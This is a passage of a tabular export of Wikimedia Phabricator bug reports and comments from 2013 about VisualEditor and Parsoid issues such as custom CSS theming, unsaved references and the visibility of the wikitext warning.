My original query was in making different styles available for an average user, who has no CSS experience.",,,1383292738,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-wi6gwfwlbpwko4ows4b5,task_subcomment,,True,c1,3,False,,,17,,0.0,0.0,0.0,0.0,0.0,14.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,4.0,0.0,0.0,0.0,4.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,0.0,3.892857142857143,0.8928571428571429,"**gryllida** wrote:

My original query was in making different styles available for an average user, who has no CSS experience."
249355,VisualEditor should be themeable by the user with custom CSS,"I'm entirely unsure what this is asking for. VE already inherits users' CSS, which lets people change the CSS as they see fit - as John Broughton's script shows.

Marking as ""INVALID"", but happy to re-open if people can explain what different from the above this is asking for.",,,1383282685,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-wi6gwfwlbpwko4ows4b5,task_subcomment,,True,c1,3,True,,,17,,0.0,0.0,2.0,0.0,0.0,8.0,0.0,0.0,0.0,2.0,5.0,3.0,0.0,0.0,0.0,2.0,0.0,3.0,15.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,10.0,3.0,0.0,2.0,0.0,0.0,2.0,5.0,3.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.0,3.0,13.0,2.0,2.0,8.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,15.0,8.0,0.0,5.0,0.0,3.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,3.7096774193548385,0.7580645161290323,"I'm entirely unsure what this is asking for. VE already inherits users' CSS, which lets people change the CSS as they see fit - as John Broughton's script shows.

Marking as ""INVALID"", but happy to re-open if people can explain what different from the above this is asking for."
249352,VisualEditor should be themeable by the user with custom CSS,"An example of how users might want to change the way they see VE:
https://en.wikipedia.org/wiki/User:John_Broughton/common.css
(an easier way to set a background color for VE is being requested).",,,1382972546,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-wi6gwfwlbpwko4ows4b5,task_subcomment,,True,c1,3,False,,,17,,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,12.0,3.0,0.0,12.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,3.0,12.0,9.0,0.0,0.0,0.0,3.0,0.0,3.0,9.0,0.0,0.0,3.0,0.0,0.0,3.323529411764706,0.8823529411764706,"An example of how users might want to change the way they see VE:
URL
(an easier way to set a background color for VE is being requested)."
249348,VisualEditor should be themeable by the user with custom CSS,"**gryllida** wrote:

( Illustrations: https://en.wikipedia.org/w/index.php?title=Wikipedia:VisualEditor/Feedback&oldid=570246873#Toolbar_icons_style )",,,1377514974,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-wi6gwfwlbpwko4ows4b5,task_subcomment,,True,c1,3,False,,,8,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.6923076923076923,"**gryllida** wrote:

( Illustrations: URL )"
249344,VisualEditor should be themeable by the user with custom CSS,"Gryllida adds,
<<To be quite honest, the first thing that I see wrong in the visual editor is the black-and-white style of icons, similar to what Google products uses. It is not 1980s when everything was black-and-white, nor it is 1990s when people used 256-color icons; it is 2013. [...] I believe it is important for accessibility to at least let users choose from a set of themes for the VisualEditor toolbar, if not alter the default theme.>>",,,1377427418,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-wi6gwfwlbpwko4ows4b5,task_subcomment,,True,c1,3,False,,,7,,0.0,0.5,0.0,0.0,1.5,6.5,2.5,0.0,0.0,1.0,0.5,0.0,0.0,0.0,0.0,1.5,0.0,3.5,8.5,0.5,0.5,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,6.5,1.5,3.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.5,0.5,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.5,0.0,0.0,4.5,5.0,4.5,2.5,2.0,4.5,0.0,0.0,0.0,0.0,3.5,0.0,3.5,0.0,5.0,8.5,2.0,0.0,0.0,0.0,5.0,0.0,2.5,1.0,0.0,0.0,0.0,1.0,5.0,3.5576923076923075,0.7980769230769231,"Gryllida adds,
<<To be quite honest, the first thing that I see wrong in the visual editor is the black-and-white style of icons, similar to what Google products uses. It is not 1980s when everything was black-and-white, nor it is 1990s when people used 256-color icons; it is 2013. [...] I believe it is important for accessibility to at least let users choose from a set of themes for the VisualEditor toolbar, if not alter the default theme.>>"
54269,VisualEditor: References not saved,"References 5-8 were not saved

At https://en.wikipedia.org/w/index.php?title=User%3AThryduulf%2Fsandbox&diff=566402676&oldid=566401436 only four of the 8 references I added were saved.

The second references for each statement had the same title as the first but were a different URL. They appeared in the editor as being there (see attachment) but were silently not saved.

--------------------------
**Version**: unspecified
**Severity**: critical

**Attached**: {F11698}",Needs Triage,90.0,1375179540,1376325366.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-juxrg4k7aci5xpwlvsaq,task_description,resolved,True,c1,3,False,False,True,4,,1.0,0.0,0.0,3.0,2.0,7.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,1.0,0.0,1.0,0.0,6.0,7.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,6.0,13.0,0.0,2.0,8.0,0.0,0.0,0.0,0.0,1.0,0.0,5.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.7471264367816093,0.6206896551724138,"References 5-8 were not saved

At URL only four of the 8 references I added were saved.

The second references for each statement had the same title as the first but were a different URL. They appeared in the editor as being there (see attachment) but were silently not saved.

--------------------------
**Version**: unspecified
**Severity**: critical

**Attached**: {F11698}"
249314,VisualEditor: References not saved,"I can't reproduce this now, so it seems likely this was a duplicate of now-fixed Bug 52228

*** This bug has been marked as a duplicate of bug 52228 ***",,,1376325366,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-juxrg4k7aci5xpwlvsaq,task_subcomment,,True,c1,3,False,,,6,,0.0,0.0,0.0,3.0,3.0,3.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,3.0,5.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,8.0,0.0,3.0,13.0,0.0,0.0,0.0,0.0,3.0,0.0,5.0,0.0,5.0,8.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.1794871794871793,0.6923076923076923,"I can't reproduce this now, so it seems likely this was a duplicate of now-fixed Bug 52228

*** This bug has been marked as a duplicate of bug 52228 ***"
54266,Parsoid or VisualEditor: nowiki added around space following HTML comment,"At line 138 of https://en.wikipedia.org/w/index.php?title=Wikipedia&diff=566045928&oldid=566042453 parsoid (presumably) has added nowikis around around a space following a HTML comment. I don't know whether the comment containing references is relevant or not.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1375176300,1375199871.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-vbh2rbaxi3v4g2vosvk6,task_description,resolved,True,c1,3,False,False,True,4,,0.0,0.0,0.0,0.0,4.0,6.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,6.0,2.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,2.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,11.0,2.0,2.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,8.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.2075471698113205,0.7547169811320755,"At line 138 of URL parsoid (presumably) has added nowikis around around a space following a HTML comment. I don't know whether the comment containing references is relevant or not.

--------------------------
**Version**: unspecified
**Severity**: normal"
249210,Parsoid or VisualEditor: nowiki added around space following HTML comment,"

*** This bug has been marked as a duplicate of bug 50758 ***",,,1375199871,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-vbh2rbaxi3v4g2vosvk6,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 50758 ***"
54264,VisualEditor: Wikitext insertion warning needs to be more visible,"The wikitext insertion warning now works, and is visible regardless of the position of the user on the page.

However, its color scheme is the same as other regular, confirmation-type notifications like ""you've added this page to your watchlist"".

Wikitext insertion is an actual problem, rather than ""just"" a confirmation or feedback notification. We need it to be more visible, possibly by using a different color scheme. Maybe not a big red blinking bubble, but something more noticeable than a white bubble with a light blue border.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1375169040,1385396737.0,PHID-USER-z6nzrwuaij3spgyg23jt,False,,False,PHID-TASK-poqv6admiczpvguuyu43,task_description,declined,True,c1,3,False,False,False,4,,0.0,1.0,0.0,0.0,1.0,10.5,2.5,0.0,0.0,0.0,1.5,0.5,0.0,0.0,0.0,1.0,0.0,6.5,6.5,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,0.0,1.5,1.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.5,5.5,0.0,0.5,0.0,0.0,0.0,11.5,0.0,0.5,0.0,2.0,1.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.5,4.5,0.0,2.0,7.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,6.5,0.5,0.0,2.0,0.0,3.0,0.0,0.0,4.5,0.0,1.0,1.5,0.0,0.0,4.192268305171531,0.7278545826932924,"The wikitext insertion warning now works, and is visible regardless of the position of the user on the page.

However, its color scheme is the same as other regular, confirmation-type notifications like ""you've added this page to your watchlist"".

Wikitext insertion is an actual problem, rather than ""just"" a confirmation or feedback notification. We need it to be more visible, possibly by using a different color scheme. Maybe not a big red blinking bubble, but something more noticeable than a white bubble with a light blue border.

--------------------------
**Version**: unspecified
**Severity**: normal"
249118,VisualEditor: Wikitext insertion warning needs to be more visible,"WONTFIX. It's currently blocking save, doesn't disappear until clicked, and in the standard place for interactive notifications in MediaWiki; moving these around for the mouse (or cursor) could get very ugly and confusing, and the advantage isn't so significant that it's worth doing.",,,1385396737,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-poqv6admiczpvguuyu43,task_subcomment,,True,c1,3,True,,,21,,0.0,0.0,2.0,0.0,4.0,11.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,7.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,4.0,2.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,5.0,2.0,7.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,11.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,4.4,0.8,"WONTFIX. It's currently blocking save, doesn't disappear until clicked, and in the standard place for interactive notifications in MediaWiki; moving these around for the mouse (or cursor) could get very ugly and confusing, and the advantage isn't so significant that it's worth doing."
249111,VisualEditor: Wikitext insertion warning needs to be more visible,"Maybe closest to the mouse would be better. If someone edits at the bottom of the displayed content with a large screen, I’m not sure he will see the warning, too far.",,,1375263838,,PHID-USER-5pyvkdz65d5h5vxebodc,False,,,PHID-TASK-poqv6admiczpvguuyu43,task_subcomment,,True,c1,3,False,,,4,,0.0,3.0,0.0,0.0,3.0,11.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,11.0,14.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,5.0,0.0,5.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.0,8.0,3.0,0.0,14.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,3.0,0.0,0.0,3.0,3.0,0.0,3.675675675675676,0.8648648648648649,"Maybe closest to the mouse would be better. If someone edits at the bottom of the displayed content with a large screen, I’m not sure he will see the warning, too far."
54252,Recognise Labeled Section Transclusions as mw:Extension/Lst or similar in Parsoid,"Labeled Section Transclusion (<section begin=""2012-07-monthly""/>Text here<section end=""2012-07-monthly""/>) is not supported.  This is used for status reports on MediaWiki.org.  The first step is to alienate it.  Currently it is treated as raw text.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1375142220,1376428165.0,PHID-USER-dw53c5cb2qfhyemej57o,True,,False,PHID-TASK-2i2pvcby76cfowf624hh,task_description,resolved,True,c1,3,True,False,True,4,,0.0,0.0,0.0,4.0,1.0,6.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,6.0,13.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,0.0,3.0,7.0,8.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.070422535211268,0.6619718309859155,"Labeled Section Transclusion (<section begin=""2012-07-monthly""/>Text here<section end=""2012-07-monthly""/>) is not supported.  This is used for status reports on MediaWiki.org.  The first step is to alienate it.  Currently it is treated as raw text.

--------------------------
**Version**: unspecified
**Severity**: normal"
248314,Recognise Labeled Section Transclusions as mw:Extension/Lst or similar in Parsoid,"LST is heavily used in wikisource, where most parts of pages are wrapped in section tags. Alienation and / or an extension-like visual edit experience would not be ideal there, which is why we are considering supporting <section> natively as the HTML5 element it is.

Closing as duplicated of bug 47936 for that reason. Please respond there if you feel that this is the wrong approach.

*** This bug has been marked as a duplicate of bug 47936 ***",,,1376428165,,PHID-USER-hbtlbu4zftxnz4i6f7yf,True,,,PHID-TASK-2i2pvcby76cfowf624hh,task_subcomment,,True,c1,3,True,,,6,,0.0,0.0,0.0,3.0,1.0,5.0,2.0,0.0,0.0,1.0,5.0,0.0,0.0,0.0,0.0,1.0,2.0,7.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,8.0,3.0,1.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,1.0,0.0,0.0,1.0,14.0,1.0,2.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,6.0,4.0,2.0,8.0,0.0,0.0,0.0,0.0,2.0,1.0,2.0,0.0,3.0,12.0,2.0,0.0,0.0,0.0,3.0,0.0,3.0,2.0,0.0,2.0,0.0,1.0,1.0,3.905263157894737,0.7263157894736842,"LST is heavily used in wikisource, where most parts of pages are wrapped in section tags. Alienation and / or an extension-like visual edit experience would not be ideal there, which is why we are considering supporting <section> natively as the HTML5 element it is.

Closing as duplicated of bug 47936 for that reason. Please respond there if you feel that this is the wrong approach.

*** This bug has been marked as a duplicate of bug 47936 ***"
248309,Recognise Labeled Section Transclusions as mw:Extension/Lst or similar in Parsoid,"Related: bug 51562
Related: bug 47936

We probably need a single bug that merges all these three.",,,1375203999,,PHID-USER-slccyo5rqasgpljxny7g,True,,,PHID-TASK-2i2pvcby76cfowf624hh,task_subcomment,,True,c1,3,True,,,4,,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,3.772727272727273,0.8181818181818182,"Related: bug 51562
Related: bug 47936

We probably need a single bug that merges all these three."
248302,Recognise Labeled Section Transclusions as mw:Extension/Lst or similar in Parsoid,whoops. misfire.,,,1375203841,,PHID-USER-slccyo5rqasgpljxny7g,True,,,PHID-TASK-2i2pvcby76cfowf624hh,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.75,0.75,whoops. misfire.
248299,Recognise Labeled Section Transclusions as mw:Extension/Lst or similar in Parsoid,"

*** This bug has been marked as a duplicate of bug 51462 ***",,,1375203763,,PHID-USER-slccyo5rqasgpljxny7g,True,,,PHID-TASK-2i2pvcby76cfowf624hh,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 51462 ***"
248296,Recognise Labeled Section Transclusions as mw:Extension/Lst or similar in Parsoid,"For VisualEditor to alienate something, all that is required is for Parsoid to mark it up as something VisualEditor doesn't recognise; right now, Parsoid and VisualEditor are both entirely dumb to the issue. :-)",,,1375143543,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-2i2pvcby76cfowf624hh,task_subcomment,,True,c1,3,True,,,4,,3.0,5.0,3.0,3.0,3.0,3.0,5.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,18.0,5.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,8.0,15.0,0.0,3.0,8.0,0.0,3.0,0.0,0.0,8.0,0.0,0.0,0.0,3.0,18.0,13.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,4.564102564102564,0.7948717948717948,"For VisualEditor to alienate something, all that is required is for Parsoid to mark it up as something VisualEditor doesn't recognise; right now, Parsoid and VisualEditor are both entirely dumb to the issue. :-)"
248295,Recognise Labeled Section Transclusions as mw:Extension/Lst or similar in Parsoid,An example is https://www.mediawiki.org/w/index.php?title=Editor_engagement_experiments/status&oldid=750533,,,1375142308,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-2i2pvcby76cfowf624hh,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,25.0,50.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,3.5,1.0,An example is URL
54251,"VisualEditor: Link input widget should not show ""New: (redlink)"" when a redirect exists by that name","Screenshot of problem

See screenshot.

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11666}",Needs Triage,90.0,1375142160,1376073139.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-xvbh6q43vypy6tjr3wjo,task_description,resolved,True,c1,3,True,False,True,4,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7142857142857144,0.5428571428571428,"Screenshot of problem

See screenshot.

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11666}"
248262,"VisualEditor: Link input widget should not show ""New: (redlink)"" when a redirect exists by that name","

*** This bug has been marked as a duplicate of bug 50898 ***",,,1376073139,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-xvbh6q43vypy6tjr3wjo,task_subcomment,,True,c1,3,False,,,5,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 50898 ***"
54250,VisualEditor: Add guidance message into the reference dialog to tell a user what to put there,"One of the biggest interface issue is the new reference dialog. The use is presented with a window and no real guidance on what to do. 

Some brief instructions guiding the user to choose an appropriate citation template would be good. This obviously needs to be customisable on a wiki basis. For en.wikipedia you could have something like

""To add a reference please choose a citation template like {{cite web}}, {{cite journal}}, {{cite book}} or {{cite news}}. Click the jigsaw icon to insert one of these templates.""

The message could be specified by a page in the MediaWiki: namespace.

--------------------------
**Version**: unspecified
**Severity**: enhancement",Needs Triage,90.0,1375138020,1375141752.0,PHID-USER-7hrs7wwclcldf7mm6a7o,False,,False,PHID-TASK-zg6asep6oadhz6pkrf4o,task_description,declined,True,c1,3,False,False,True,4,,0.5,0.5,0.0,1.0,0.0,4.5,1.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,8.5,0.5,2.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.5,0.5,1.5,0.0,0.0,0.5,0.5,0.0,0.0,0.5,0.0,0.5,0.0,0.0,3.5,0.5,1.0,0.0,0.0,0.0,14.0,0.0,1.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.5,6.5,0.0,1.0,9.5,0.0,0.0,0.0,0.0,7.0,0.5,1.0,0.0,0.5,8.5,2.0,0.0,1.0,0.0,0.5,0.0,0.5,3.0,0.0,0.5,0.0,0.5,0.0,3.864864864864865,0.6621621621621622,"One of the biggest interface issue is the new reference dialog. The use is presented with a window and no real guidance on what to do. 

Some brief instructions guiding the user to choose an appropriate citation template would be good. This obviously needs to be customisable on a wiki basis. For en.wikipedia you could have something like

""To add a reference please choose a citation template like {{cite web}}, {{cite journal}}, {{cite book}} or {{cite news}}. Click the jigsaw icon to insert one of these templates.""

The message could be specified by a page in the MediaWiki: namespace.

--------------------------
